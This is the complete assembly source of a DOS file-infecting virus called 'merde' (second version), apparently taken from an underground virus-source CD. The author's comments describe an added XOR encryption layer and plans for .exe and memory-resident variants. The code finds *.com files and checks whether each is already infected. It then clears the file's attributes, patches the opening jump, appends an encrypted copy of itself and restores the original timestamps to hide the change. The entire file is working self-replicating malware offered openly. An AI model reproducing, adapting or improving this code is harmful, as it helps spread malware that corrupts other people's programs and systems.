Underground/Underground CD1.iso/virii/zrodla/m/merde-2.asm

Assembly Source File | 1998-01-14 | 4.9 KB | 203 lines

;well, here's the next installment of the merde virus...all that is new;
;is your run of the mill xor encryption........and a little change in;
;the code itself to make it slightly more modular...;
;up+coming:    .exe version(why put 'em together? makes it too big);
;        an actual function besides infect!;
;        TSR infect version?;
attrib            equ    21
time            equ    22
date            equ    24
fspec_address        equ    0e4h
filesize        equ    26
fname            equ    30
dta            equ    80h
virsize            equ    354
byte_compare_val    equ    35
CODE_SEG    SEGMENT BYTE
    ASSUME DS:CODE_SEG, CS:CODE_SEG
    ORG 100h
first:    jmp    caller
    db    128 dup(00)
caller:    call    caller2        ;si=this address for the whole thing;

;ok, for encryption, we use the value of the byte at the jump instruction;
;if the file we find isn't infected...;

encryptv:    db    ?

;si=offset of the "caller";

caller2:    pop    si
    sub    si,3
    jmp    getstart

;jmp to getstart and have it call us back, getting the address of "start";
;into es..(I know, why not just add the size of the stuff to si?;
;I'll do it some other time;

after:    pop    es        ;es=start:;

;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
;function so it was more unsingular to a particular circumstance;

    mov    bp,es        ;unencrypt de code+jump to virus;
    jmp    encrypt

;if we are being called from the write proc, we need to save BP on the stack;

encrypt_w:    mov    ax,bp    ;ax=whereto jump at end;
        pop    bp    ;bp=return to write routine;
        push    ax    ;where to jump at end is on stack
;note the standard, run o' the mill encrypt/decrypt!;

encrypt:    push    bx        ;might not be needed, I'll check later;
        push    si
        mov    cl,[si+3]    ;offset of encrypt value;
        mov    bx,es        ;where to start encrypting;
        xor    si,si
xloop:        mov    al,[bx+si]
        xor    al,cl
        mov    [bx+si],al
        cmp    si,0e7h        ;size of post-start(or close enough);
        ja    done
        inc    si
        jmp    xloop
    done:    pop    si
        pop    bx
        jmp    bp        ;jump whereever we were supposed to;

write_code:    call    encrypt_w    ;yep, encrypt it;
        pop    bp        ;get back address in this infected file;
        mov    bx,[di+9]    ;file to jump to, and file handle;
        mov    ah,40h
        mov    cx,virsize    ;total virus size
        mov    dx,si
        int    21h
        call    close_current
        jmp    nofiles        ;not really, just didn't change name;
;this proc closes the file with original stats;
close_current:
    mov    dx,[di+14]
    mov    cx,[di+12]
    mov    ax,5701h
    mov    bx,[di+9]
    int    21h
    mov    ah,3eh
    int    21h
    mov    ax,4301h
    xor    ch,ch
    mov    cl,[di+11]
    int    21h
    ret
nofiles:    push    ds
        pop    es
        jmp    bp

getstart:    call    after


;encrypted from here on out-es=start of this procedure;
start:    mov    di,es
    add    di,fspec_address    ;di=ADDRESS OF FILESPEC!;
    mov    dh,[di+18]
    mov    ah,[di+17]
    mov    al,[di+16]
    mov    bx,100h
    mov    [bx],al
    mov    [bx+1],ah
    mov    [bx+2],dh
    mov    bp,bx
    mov    ah,4eh        ;------------------;
    mov    cx,33
    mov    dx,di        ;find file match;
search:    int    21h
    jc    nofiles        ;get out if none found;
    mov    bx,dta+filesize    ;compare filesize via BX;
    cmp    word ptr [bx],65000
    ja    leave1
    cmp    word ptr [bx],150
    jb    leave1
    jmp    ok
leave1:    mov    ah,4fh
    jmp    search
ok:    CLC

    ;Okay-- DI=base of fspec;
    mov    bx,dta+attrib
    mov    al,[bx]
    mov    [di+11],al    ;save attrib;
    mov    ax,word ptr [bx+1]
    mov    [di+12],ax    ;save time;
    mov    ax,word ptr [bx+3]
    mov    [di+14],ax    ;save date;
    mov    ax,4301h
    mov    cx,0
    mov    dx,dta+fname
    int    21h        ;set attrib to 0;
label2:    mov    ax,3d02h
    int    21h
    mov    [di+9],ax    ;open + save handle;
    mov    bx,ax
    mov    ah,3fh
    mov    cx,3
    mov    dx,di
    add    dx,16        ;dx points to save area for first three bytes;
    int    21h        ;open handle, and read 3 bytes into it;
    cmp    byte ptr [di+16],0e9h
    jne    label1
cont:    mov    ax,4200h
    xor    cx,cx
    mov    dx,[di+17]
    add    dx,3+byte_compare_val
    mov    bx,[di+9]
    int    21h
    mov    ah,3fh
    mov    cx,2
    mov    dx,di
    add    dx,6
    int    21h
    mov    dx,[di+6]
    cmp    dx,[si+byte_compare_val]
    jne    label1
    call    close_current
    jmp    leave1
label1:
    ;set encrypt value here---(low order byte of filesize of next file;
    mov    bx,dta+filesize
    mov    dl,[bx]
    mov    [si+3],dl
    mov    bx,[di+9]
    mov    ax,4200h
    xor    cx,cx
    mov    dx,0
    int    21h
;okay, this is kinda thick..;
;set pointer to after jmp instruct, and change address to size;
;of file plus 3 for jmp instruction, minding that we have to flip stuff;
    mov    bx,dta+filesize
    mov    dh,[bx+1]    ;high val equals 2nd part of word+vice versa;
    mov    dl,[bx]
    sub    dx,3
    mov    [di+7],dx
    mov    byte ptr [di+6],0e9h
    mov    ah,40h
    mov    bx,[di+9]
    mov    dx,di
    add    dx,6
    mov    cx,3
    int    21h
    xor    cx,cx
    mov    ax,4202h
    xor    dx,dx
    int    21h
    jmp    write_code

fspec:    db    '*.com',0    ;bx+0;
disk_buffer:    db    3 DUP(?)    ;di+6;
handle:        dw    ?        ;di+9;
attribute:    db    ?        ;di+11;
otime:        dw    ?        ;di+12;
odate:        dw    ?        ;di+14;
first_3:    db    0cdh,20h,00    ;di+16;
CODE_SEG    ENDS
END    first